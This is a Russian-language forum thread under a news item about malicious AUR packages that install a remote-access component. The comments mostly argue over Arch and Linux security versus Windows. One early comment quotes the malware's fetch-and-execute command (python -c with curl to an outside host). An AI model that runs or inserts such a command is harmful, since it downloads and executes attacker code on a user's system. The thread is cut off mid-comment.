The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



"В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных пакета"
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных пакета"  +/
Сообщение от opennews (??), 01-Авг-25, 22:35 
В репозитории AUR (Arch User Repository), применяемом в Arch Linux для распространения пакетов от сторонних разработчиков, продолжилась публикация вредоносного кода, интегрированного в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад вредоносным пакетам  firefox-patch-bin, librewolf-fix-bin и zen-browser-patched-bin, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе...

Подробнее: https://www.opennet.dev/opennews/art.shtml?num=63662

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения [Сортировка по ответам | RSS]

1. Сообщение от Аноним (1), 01-Авг-25, 22:35   +5 +/
> python -c "$(curl https://segs.lol/9wUb1Z)"

LOL!

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #231

2. Сообщение от Аноним (2), 01-Авг-25, 22:36   +25 +/
В AUR-репозитории выявлен безвредный пакет.
Ответить | Правка | Наверх | Cообщить модератору

3. Сообщение от Анонимemail (3), 01-Авг-25, 22:49   +/
Вредоносных программ под Linux всё больше и больше. Но правда они чаще всего атакуют пользователей работают из-под рута.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #5, #48

4. Сообщение от Аноним (5), 01-Авг-25, 22:49   +/
Так можно туннели бекдором до SSH кидать и компом чужим управлять..

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #75

5. Сообщение от Аноним (5), 01-Авг-25, 22:52   +1 +/
виноват в первую очередь сам пользователь

Главное написать Не ставить ЭТОТ пакет.. и пользователь поставит.

Ведь всю помойку тянут на ПК.. всю!

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #3

6. Сообщение от Аноним (6), 01-Авг-25, 22:58   –1 +/
И что теперь делать?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #7, #16, #26, #28, #185

7. Сообщение от Аноним (7), 01-Авг-25, 23:10   +17 +/
Читать пкгбилды аура перед запуском.

Правда в мире, где половина инновационного софта ставится через curl |sudo sh , будет затруднительно отличить вирус от нормального софта.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #49

10. Сообщение от freeperson (?), 01-Авг-25, 23:30   –7 +/
Arch стал уже стал попсой, как винда, что его таргетят кулхацкеры ежедневно. AUR это та ещё помойка, где никто не проверяет ничего. Чувакам "I use arch btw": ставьте Слаку или Gentoo, и будет вам счастье.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #14, #24, #33, #141, #153, #201

14. Сообщение от Аноним (14), 02-Авг-25, 00:04   +/
Гентушникам тоже ухо держать востро в отношении к оверлеям.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10 Ответы: #32

16. Сообщение от НяшМяш (ok), 02-Авг-25, 00:12   –1 +/
Клонить репы себе на машину, удалять .git, проверять PKGBUILD и самому поддерживать. Иногда даже получается проще, потому что меинтейнеры оригинальных пакетов часто слоупочат версии обновлять.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #150

20. Сообщение от Аноним (20), 02-Авг-25, 01:02   +2 +/
AUR удобно использовать как источник готовых инструкций для сборки пакетов которых нет в BLFS.
Ответить | Правка | Наверх | Cообщить модератору

24. Сообщение от Аноним (26), 02-Авг-25, 02:16   +1 +/
> AUR это та ещё помойка, где никто не проверяет ничего.
> Вредоносный пакет был удалён администраторами AUR через несколько часов после появления.

Держи в курсе.

> ставьте Слаку или Gentoo, и будет вам счастье.

Не ставьте свое "ненужно", ставьте мое "ненужно"!!!1!1

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10

26. Сообщение от Аноним (26), 02-Авг-25, 02:33   +1 +/
В дополнение к вышеупомянутому ОБЯЗАТЕЛЬНОМУ чтению PKGBUILD'ов. Наверное не ставить пакеты с идиотскими названиями, от васяна с нулевым аккаунтом. А также заглядывать в комментарии AUR странички, главное, чтобы они тоже не были идиотскими, от васяна с нулевым аккаунтом.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #151

28. Сообщение от Bottle (?), 02-Авг-25, 02:50   +/
Читать исходники? Поборники свободы сами что-то не желают ей пользоваться на постоянке - они хотят, чтобы за них работали БЕСПЛАТНО.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #50, #91

32. Сообщение от 12yoexpert (ok), 02-Авг-25, 05:29   +1 +/
разумеется, но:
1) гентушников тупо меньше и оверлеи им нужны гораздо реже, чем AUR на арче, и для настолько специфичного софта, что пропихивать туда малварь тупо не окупится
2) это гента со всеми вытекающими, поди заставь свою попсовую малварь там работать: у кого-то musl, у кого-то openrc, у кого-то, прости господи, шланг, даже версии питона у всех разные
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #14 Ответы: #58

33. Сообщение от 12yoexpert (ok), 02-Авг-25, 05:33   +/
поддерживаю как гентушник, лет 7 сидевший на арче
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10

38. Сообщение от Аноним (203), 02-Авг-25, 06:07   +2 +/
Чем это отличается от npm?
Ответить | Правка | Наверх | Cообщить модератору

41. Сообщение от Анониматор (?), 02-Авг-25, 07:10   +2 +/
Это всё Манждаро виноват. Понаставят pamac-aur и всё, считают что AUR это часть Арча, прозрачная установка "из магазина".
Хотя уже много где в сети написано что они дурачье и не надо делать так. Но если кому-то нравится рисковать - это конечно ваше дело, но не надо свои проблемы триангулировать на всех
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #46

42. Сообщение от ЖИРОПЕРДЯСТИК (?), 02-Авг-25, 07:10   –1 +/
Да изначально было понятно, что AUR - это помойка. Любой Васян туда может прийти и понапихать бэкдоров в пакеты.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #52, #94

45. Сообщение от Аноним (45), 02-Авг-25, 07:44   +1 +/
А что ваш там pip или npm прям безопасны да? Или PPA Ubuntu?
Берешь себе за правило - изучать каждый PKGBUILD и всё, проблема решена!
Собственно, по мимо администраторов, юзеры тоже могут проверять PGBUILDы и указывать на нарушения. Ну и не хрен ставить все подряд, не думая и не проверяя, такой подход угробит любую ОСь, хоть даже винду, мак или андроид.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #53

46. Сообщение от ЖИРОПЕРДЯСТИК (?), 02-Авг-25, 07:55   –6 +/
> считают что AUR это часть Арча

Так убери у Арча AUR и он превратится в маргинальный дистрибутив, которым пользуются три калеки.

А если AUR использовать, то это ЗверьCD скачай бесплатно без SMS.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #41 Ответы: #47, #154

47. Сообщение от Аноним (47), 02-Авг-25, 08:05   +1 +/
ты назвал маргинальщиной такие дистрибутивы как RHEL с клонами и многими другими. Они тоже без епеля (ppa и т.д.) ничто. AUR скорее всего уйдет в тень, потому что тенденция всё недостающее ставить из флатхаба, а это по наполнению тоже как говорится "найди 3 отличия от AUR", так что Арч и тут не выделяется среди других "маргинальностью"
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #46

48. Сообщение от Anonimm (?), 02-Авг-25, 08:08   +2 +/
Гениально! В винде вирусы и трояны устанавливаются из-под админа - "дырявая система", то же самое в лине - "но правда для запуска требуется рут"..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #3 Ответы: #88, #106

49. Сообщение от Anonimm (?), 02-Авг-25, 08:11   –3 +/
> Читать пкгбилды

Нормальные системы ставятся через "Далее" и только в лине для установки программ нужно быть ещё и программистом..

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #7 Ответы: #64, #78, #89, #90, #199

50. Сообщение от Anonimm (?), 02-Авг-25, 08:12   +/
Интересно, а для андроида и айфона они тоже исходники читают?
Вспомнил - ведь "это другое".. 😆
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #28 Ответы: #59

52. Сообщение от Аноним (47), 02-Авг-25, 08:16   +2 +/
Таких васянов там сразу отлавливают, этот и полдня не продержался. Отличная работа
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42 Ответы: #77

53. Сообщение от Anonimm (?), 02-Авг-25, 08:18   –2 +/
> изучать каждый PKGBUILD

А потом удивляться, что вас всего 4%..

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45 Ответы: #81, #121

58. Сообщение от dannyD (?), 02-Авг-25, 08:53   +/
>>гентушников тупо меньше

это с какого пальца?

может чем бубунтят и меньше,но с рачеводами я бы еще сильно поспорил.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #32 Ответы: #72

59. Сообщение от dannyD (?), 02-Авг-25, 08:58   –1 +/
сходи на f-droid почитай.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #50 Ответы: #177

63. Сообщение от Аноним (63), 02-Авг-25, 09:13   +/
А ведь в убунтовском launchpad ppa не меньше, или даже больше малвари от ноунэйм авторов. А в aur то не бинари, а pkgbuild, что как бы позволяет увидеть подмену.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #87

64. Сообщение от Аноним (64), 02-Авг-25, 09:25   +2 +/
Для быта Линукс даже не мёртв, а не зачат.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49

67. Сообщение от Аноним (67), 02-Авг-25, 09:37   –2 +/
Достаточно не ставить свежие пакеты из аур.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #73, #159, #166

72. Сообщение от 12yoexpert (ok), 02-Авг-25, 10:25   +/
да тупо судя по количеству попсовых пакетов. поди попробуй собери хоть один слайсер на генту, хоть оверлеями, хоть без

мне пришлось вырезать половину месы, чтобы кура запустилась

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #58 Ответы: #85, #140

73. Сообщение от 12yoexpert (ok), 02-Авг-25, 10:26   –1 +/
это арч, там в принципе нет несвежих пакетов
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #67

75. Сообщение от Аноним (75), 02-Авг-25, 10:31   –5 +/
На домашнем (и служебном) компьютере SSH делать нечего. Хотя во всех Ubuntu и его форках ставится по умолчанию. Мое личное мнение (не навязываю), что SSH - это для удаленного управления сервером.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #4 Ответы: #101

77. Сообщение от Аноним (77), 02-Авг-25, 10:38   +/
Не совсем. Поскольку у них нет премодерации пакетов от не пойми кого.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #52

78. Сообщение от Аноним (75), 02-Авг-25, 10:40   +/
Разработанные мной программы под Linux ставятся, как Вы выразились, через "Далее" с помощью InstallJammer.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49 Ответы: #147

81. Сообщение от Аноним (75), 02-Авг-25, 10:51   +/
> вас всего 4%

Нас даже официально 5%. Не считая суверенных установок, которые используются во всем мире, а не только в РФ, "как думают некоторые студенты", и вряд ли попадают в данную статистику.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53 Ответы: #156

85. Сообщение от dannyD (?), 02-Авг-25, 11:54   +/
>>да тупо судя по количеству попсовых пакетов.

ошибка статистической выборки.

ну не надо гентушникам это, я вот даже не знаю о чем вы, коллега.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #72 Ответы: #170

86. Сообщение от Аноним (86), 02-Авг-25, 11:57   –1 +/
Это проблема куда шире чем кажется. Разработчик вылежат своё ПО только под Win и Mac, он не будит собирать под 100500 диструбтивов Linux на 4% рынка дисктопов!
А пользователь хочет именно пользоваться ОС, то есть устанавливать ПО в пару кликов через GUI.
Вот здесь у тех, у кого красные глаза и бубен в руках решают монетанизировать свой мазахизм чёрными методами!
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #95, #220

87. Сообщение от Аноним (87), 02-Авг-25, 11:58   +1 +/
> А в aur то не бинари

Говоришь так, будто бы их там нет...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #63 Ответы: #119

88. Сообщение от Аноним (88), 02-Авг-25, 12:04   +2 +/
Надо ставить DrWeb
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #48 Ответы: #100

89. Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:04   +/
Так Арч не для домохозяек, а для опытных Линукс пользователей, с разморозкой.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49 Ответы: #102, #148

90. Сообщение от Аноним (88), 02-Авг-25, 12:06   +1 +/
Установить антивирус.
Во всех нормальных магазинах приложений для Андроид есть встроенный.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49 Ответы: #103

91. Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:06   +/
Потому-то здесь троллей и навалом, ибо не понимают разницы между виндой и дистрибутивами Линукс.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #28 Ответы: #104

93. Сообщение от Аноним (93), 02-Авг-25, 12:13   +/
От AUR отказала два года назад, когда скачал бинарник и решил проверить на вирустотал - бэкдор.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #96

94. Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:14   +2 +/
Not a bug, а фича. Нормальный aur helper перед установкой любого пакета оттуда сначала показывает pkgbuild файл, а дальше всё зависит от прослойки между монитором и креслом.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42 Ответы: #135, #189

95. Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:17   +1 +/
Просто ввёл название пакета в терминал и установил его, даже не кликая мышью. чяднт? Или искать в интернетах удобнее?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #86 Ответы: #142, #165

96. Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:23   –1 +/
Aур использую чтоб качать 1 пакет, zapret.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #93

100. Сообщение от Anonimm (?), 02-Авг-25, 12:50   –1 +/
Я о двойных стандартах. То, что винду считают дырявой, но если линь делает ровно то же, то это норма..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #88 Ответы: #130

101. Сообщение от Anonimm (?), 02-Авг-25, 12:52   +2 +/
А как ты собрался связываться с сервером, если на устройстве, с которого ты хочешь подключиться к серверу, ssh нет?
Да уж, уровень экспертности зашкаливает.. 😆
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #75 Ответы: #107, #116, #206

102. Сообщение от Anonimm (?), 02-Авг-25, 12:53   –1 +/
А вот и разделение на сорта подъехало..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #89 Ответы: #114

103. Сообщение от Anonimm (?), 02-Авг-25, 12:54   +/
Какая взаимосвязь между pkgbuild и Android?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #90 Ответы: #149, #168

104. Сообщение от Anonimm (?), 02-Авг-25, 12:56   +1 +/
> не понимают разницы между виндой и дистрибутивами Линукс.

Как выяснилось - никакой..

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #91 Ответы: #152

106. Сообщение от Аноним (106), 02-Авг-25, 12:59   +/
Это - другое! ))
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #48

107. Сообщение от olelukoie (ok), 02-Авг-25, 13:20   +/
М-да? А если еще раз подумать? В нормальных дистрибутивах (open)ssh-client(s) и (open)ssh-server - это разные пакеты и если надо подключаться к удаленному хосту по ssh, а свой сервер поднимать не требуется, то ставится только пакет 'client'.

> На домашнем (и служебном) компьютере SSH делать нечего. Хотя во всех Ubuntu и его форках ставится по умолчанию. Мое личное мнение (не навязываю), что SSH - это для удаленного управления сервером.

Если есть статический IP, то ssh - удобный способ подключения к собственному домашнему компу издалека (с дачи, из командировки, с курорта и т.п.; разумеется, дома должен быть кто-то, кто этот комп включит и затем выключит). Так что наличие ssh на домашнем компе не такая уж ненужная вещь. А про рабочий комп в "офисе", если он переведен на "отечественную" ОС или любой другой Linux, то ssh - один из очень немногих способов админам управлять рабочими местами сотрудников, так что ssh-сервер тоже весьма вероятно будет нужен.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #101 Ответы: #118

114. Сообщение от Пояснительная бригада (?), 02-Авг-25, 14:41   +1 +/
Так зайди на офф сайт арча и почитай об этом! Писать все горазды.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #102

116. Сообщение от Аноним (75), 02-Авг-25, 14:48   +/
> А как ты собрался связываться с сервером, если на устройстве, с которого ты хочешь подключиться к серверу, ssh нет?

Не могу представить себе бухгалтера, который в минутку для отдыха от работы в 1С решил зайти по SSH на сервер. В нормальном учреждении пользователи работают с определенным набором приложений. Всё. Об админах не говорим - там другое дело. Да, и админу нечего делать на компьютере пользователя через SSH.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #101 Ответы: #174, #211

118. Сообщение от Аноним (75), 02-Авг-25, 14:49   +/
> ssh - удобный способ подключения к собственному домашнему компу издалека (с дачи, из командировки, с курорта и т.п.; разумеется, дома должен быть кто-то, кто этот комп включит и затем выключит)

Против такого трудно что-то возразить. Ставьте, заходите. Только я бы при острой нужде подключился по RDP.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #107 Ответы: #210

119. Сообщение от Аноним (26), 02-Авг-25, 14:52   +/
Для тугодумов разжую. PKGBUILD это простой bash скрипт, даже если пакет собирается из бинарников, в этом скрипте находятся ссылки на источники с которых эти бинарники качаются. Никто не мешает заглянуть в PKGBUILD (хоть через вебморду) и убедится что файлы качаются с официального сайта/репозитория.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #87 Ответы: #158

121. Сообщение от Пояснительная бригада (?), 02-Авг-25, 15:01   +/
Тебе надо 146%?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53

130. Сообщение от Аноним (-), 02-Авг-25, 16:18   +/
Ты передёргиваешь. Линукс безопасен. Описанное в новости поведение вредителя на Windows OS делается вполне легально. Винда вполне легально делает скриншот твоего рабочего стола и отправляет его на свои сервера. И никто по этому поводу не возникает, потому что вредительство прописано в лицензионном договоре.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #100 Ответы: #145, #173, #188

135. Сообщение от Аноним (203), 02-Авг-25, 18:35   +1 +/
Посмотри как в xz бэкдор всунули и подумай, поможет ли тебе чтение pkgbuild файлов.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #94 Ответы: #179

140. Сообщение от Аноним (140), 02-Авг-25, 19:52   +/
куры нет в репе 24.04 LTS - я немного охренел от такого (в дебиане то все есть), пришлось собрать из более младшенького - работает... но вот от того куда скатился "самый человечный десктоп дистр" я немного удивился...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #72 Ответы: #190

141. Сообщение от Аноним (141), 02-Авг-25, 19:52   +/
> Чувакам "I use arch btw": ставьте Слаку или Gentoo, и будет вам счастье.

Я выбирал между Слакой и Арчем. От Слаки отказался только из-за отсутствия отслеживания зависимостей пакетов.
Думал про Генту или ЛФС, но там читать слишком много, я хоть и безработный на сегодняшний день, но времени на это не хватает.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10 Ответы: #208

142. Сообщение от Аноним (140), 02-Авг-25, 19:55   +1 +/
виндузятнику же удобнее "бесплатно и без смс" - он по другому и не умеет...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #95 Ответы: #182

145. Сообщение от кантикариус (?), 02-Авг-25, 20:26   –4 +/
Не делает, если ты не захочешь. А если делает, то никуда не отправляет. У вас просто очень большие глаза. Это из-за плохих дешёвых экранов и трудночитаемых шрифтов.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #130

147. Сообщение от кантикариус (?), 02-Авг-25, 20:30   +/
Что за программы? Хочу поставить. Хотелось бы получить полный список со ссылками.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #78

148. Сообщение от кантикариус (?), 02-Авг-25, 20:37   +/
Я домохозяин. Несколько лет на Арче сидел. Ничем принципиально не отличается от Убунты, кроме того, что всё-таки нужно почитать мануалы и больше печатать в терминале. Да и то, это больше касается процесса установки, чем последующего повседневного использования. А так, что тот линукс, что этот на десктопе как на корове седло.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #89

149. Сообщение от кантикариус (?), 02-Авг-25, 20:39   +/
Прямая. Андроид - это линукс? Или нет?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #103 Ответы: #175

150. Сообщение от кантикариус (?), 02-Авг-25, 20:44   –1 +/
Здесь есть чел у которого 493 правила для браузера в Никс Ось. Да ну обычный линукс-десктоп обычного линукс-пользователя.

>на машину

Как же мне нравится, когда вы называете свои коре 2 дуо и пентиумы МАШИНАМИ! :DD Респект!

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #16 Ответы: #200

151. Сообщение от кантикариус (?), 02-Авг-25, 20:48   –1 +/
Сейчас ставить из AUR - это примерно как я зайду на дзен или на маил.сру и начну оттуда по ссылкам ставить софт на винду :D
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #26 Ответы: #184

152. Сообщение от кантикариус (?), 02-Авг-25, 20:51   +/
Ну нифига себе поклёп. На винде можно отдыхать и работать. А под жигулями только лежать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #104 Ответы: #178

153. Сообщение от кантикариус (?), 02-Авг-25, 20:53   +/
Нужно сразу ставить LFS.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10

154. Сообщение от кантикариус (?), 02-Авг-25, 20:58   +/
> Так убери у Арча AUR и он превратится в маргинальный дистрибутив

Ерню полную сморозил. Гейб смотрит на тебя с жалостью.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #46

156. Сообщение от кантикариус (?), 02-Авг-25, 21:02   +/
Где вас 5%? Всё изворачиваетесь. Идите ещё снова Андроид посчитайте. Как было ~1,5%, так и есть.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #81 Ответы: #180

158. Сообщение от кантикариус (?), 02-Авг-25, 21:05   +/
убедится что файлы качаются с официального скомпрометированного гитхаба.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #119

159. Сообщение от кантикариус (?), 02-Авг-25, 21:07   +1 +/
И начать ставить несвежие. Из AUR :D
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #67

165. Сообщение от Аноним (86), 02-Авг-25, 21:52   +/
Вы это написали к чему? Намекаете что и так всё в порядке? Про процент дисктопа уже было написано.

> "Просто ввёл название пакета в терминал и установил его, даже не кликая мышью. чяднт?"

У людей ОС установлена не для развлечений, у них вообще-то платёжный терминал для торговли на бирже установлен. А вы предлагаете довериться какому-то непонятному Васи.
Сторонники теории 1000 глаз? Только она не даёт гарантии. Сколько было случаев, когда пакет выкупали и внедряли блэкдор.

> "Или искать в интернетах удобнее?"

Безопаснее ставить ПО напрямую от создателя. Под "в пару кликов через GUI." имеется виду, что для этого консоль открывать не нужно.


Снизу коммент, тоже относится и к ppa. Это вам не AppStore, где есть пре-модерация.
> "От AUR отказала два года назад, когда скачал бинарник и решил проверить на вирустотал - бэкдор."

Казалось бы, причём здесь LTS, только там софт (вмести с багами, которые знают абсолютно все) устаревший - старше чем помёт мамонта. Valve из-за этого фактора на Arch перешла.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #95

166. Сообщение от Аноним (166), 02-Авг-25, 22:52   +/
Лол, что, это реальная защита такая?

Линус фанаты продолжают нести и не расплескивать.

Никто ни за что не отвечает, тысячи пакетов, непонятные мейнтейнеры, про которых известен только их выдуманный email, никакой репутации или юридической ответственности - БЕЗОПАСНОСТЬ.

Про xz, который был затроянен месяцами и попал в несколько листов, забыли.

ЛОЛ.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #67 Ответы: #186

168. Сообщение от Аноним (88), 02-Авг-25, 23:13   +/
Прямая, магазин приложений обращается в репозиторий приложений (пакетов в любом формате), в котором осуществляется эвристический анализ.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #103 Ответы: #176

170. Сообщение от 12yoexpert (ok), 03-Авг-25, 00:36   +/
это софт для нарезки 3д-моделей в g-code команды для 3д-принтера
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #85 Ответы: #202

173. Сообщение от Anonimm (?), 03-Авг-25, 06:58   –1 +/
Поменьше смотрите телевизор и особенно Рен-ТВ..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #130 Ответы: #183

174. Сообщение от Anonimm (?), 03-Авг-25, 07:00   +/
Уже бухгалтер? А сначала был домашний компьютер..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #116

175. Сообщение от Anonimm (?), 03-Авг-25, 07:03   +/
Ну когда линукс сообществу нужно показать свою особенность, то к линю начинают приплетать все подряд - серверы, роутеры, смартфоны. Но если находят уязвимость в вышеперечисленном, то сразу начинают говорить, что линь сам по себе..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #149 Ответы: #213

176. Сообщение от Anonimm (?), 03-Авг-25, 07:05   +/
Эвристический анализ для установки программы?😆
Да уж, снова убеждаюсь, что местным "экспертам" на "Почте России" нужно работать - впаривать пенсам макароны и консервы..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #168

177. Сообщение от Anonimm (?), 03-Авг-25, 07:07   +/
На фдроиде в принципе не выкладывают исходники. Максимум - ссылка на проект автора..
Ваша шутка не удалась, сударь..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #59 Ответы: #216

178. Сообщение от Anonimm (?), 03-Авг-25, 07:09   +1 +/
Имелась ввиду безопасность, которой в любой системе должен заниматься пользователь.
Но 4%-ное сообщество убеждает нас, что уж их-то система безопасней той же винды. Данная новость показывает всем, что это далеко не так..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #152 Ответы: #217

179. Сообщение от Anonimm (?), 03-Авг-25, 07:11   +1 +/
"это другое", вы что.. 😆
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #135

180. Сообщение от Anonimm (?), 03-Авг-25, 07:14   +/
Если линукс сообществу нужно заявить о себе, то приплетают все - серверы, роутеры, смартфоны, умные телевизоры с холодильниками и утюгами..
Но если в этом всем находят уязвимость, то линукс "вдруг" становится самим по себе, без фенов и пылесосов..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #156 Ответы: #197, #219

182. Сообщение от Anonimm (?), 03-Авг-25, 07:17   +1 +/
Гениально! Проблема в очередной раз в лине, но 4%-ное сообщество при любом удобном случае поливает грязью другую систему..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #142 Ответы: #204

183. Сообщение от товарищ майор (?), 03-Авг-25, 07:57   +/
ты у меня - допереключаешься!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #173

184. Сообщение от пох. (?), 03-Авг-25, 08:06   –1 +/
Ты не поверишь, но большинство обычного софта на винду именно так и ставится.

По ссылкам. Если не с мэйлру то с хабра. Откуда-то надо тебе узнать о существовании этого софта.

И ничего ужасного, как правило, не произойдет, а об остальном одном проценте позаботится антивирус.

И да, в том числе из-за подписей.

А у вас - с одной стороны централизованный вреднозиторий, а с другой - полное отсутствие хотя бы видимости контроля за его содержимым.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #151 Ответы: #214

185. Сообщение от Аноним (185), 03-Авг-25, 08:31   –1 +/
Если вы пострадавший, то писать заявление в полицию. Если нужно, они подключат Интерпол.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6

186. Сообщение от Аноним (185), 03-Авг-25, 08:32   +1 +/
Опеннет-истерички продолжают нагнетать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #166 Ответы: #187

187. Сообщение от Anonimm (?), 03-Авг-25, 08:43   –1 +/
Нагнетать? В "безопасной" системе довольно долгое время жил бэкдор, который "тысячи глаз" заметили далеко не сразу.
И ещё у вас, представителей 4%-сообщества есть привычка съезжать с темы при любом негативном упоминании, что ваша "безопасная" система является именно такой, безопасной в кавычках..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #186 Ответы: #191

188. Сообщение от Anonimm (?), 03-Авг-25, 08:51   –1 +/
Один вопрос. Какая взаимосвязь между трояном в репозитории (пусть и стороннем) для линукса и виндой? Я понимаю, что 4%-ное сообщество не хочет признавать факт, что безопасности в линукс ровно столько же, как и в любой другой системе, но причём здесь винда?
Кстати, Android тоже вроде на лине построен (или уже нет и его упоминание невыгодно?) и тоже как винда устанавливает софт по одному нажатию, но "это другое", верно?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #130 Ответы: #192

189. Сообщение от Anonimm (?), 03-Авг-25, 08:57   –1 +/
> нормальный

Ты где "Этодругин" покупаешь? Сначала вы делите пользователей на сорта, потом начинаете ранжировать приложения по степени нормальности. А дальше что? Невозможность пользоваться линуксом вы будете "объяснять" монитором не того цвета у пользователя?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #94

190. Сообщение от 12yoexpert (ok), 03-Авг-25, 09:46   +/
у них же идеология "жрите снап-пакеты и не выпендривайтесь"
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #140

191. Сообщение от Аноним (141), 03-Авг-25, 09:47   +/
А кто пострадал от этого бэкдора?
Сейчас у меня арч и я даже не знаю как поймать вирус. Из аура ставлю пару пакетов, у которых нормальный рейтинг от сообщества, в PKGBUILD не заглядывал. Даже подключил репо chaotic-aur, ставил игрушки оттуда.

А когда пользовался виндой, много раз ловил вирусов-вымогателей, которые мне всё шифровали, благо у меня всегда были копии всех данных. Несколько раз помогал знакомым в подобных случаях. Хотя от винды отказался не по этой причине.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #187 Ответы: #195

192. Сообщение от Аноним (-), 03-Авг-25, 10:16   +1 +/
>Один вопрос.

Да всё ты понял. Поведение Windows опередляется его разработчиками а не тобой. То что Винду ты лицензировал, а не купил - это прошлый век. Теперь уже Винда делает вид, что уважает твои настройки и групповые политики. А на самом деле ведёт себя по другому. На 2025 год юзая Windows OS ты фактически имеешь неуправляемую систему.

>Какая взаимосвязь между трояном в репозитории (пусть и стороннем) для линукса и виндой?

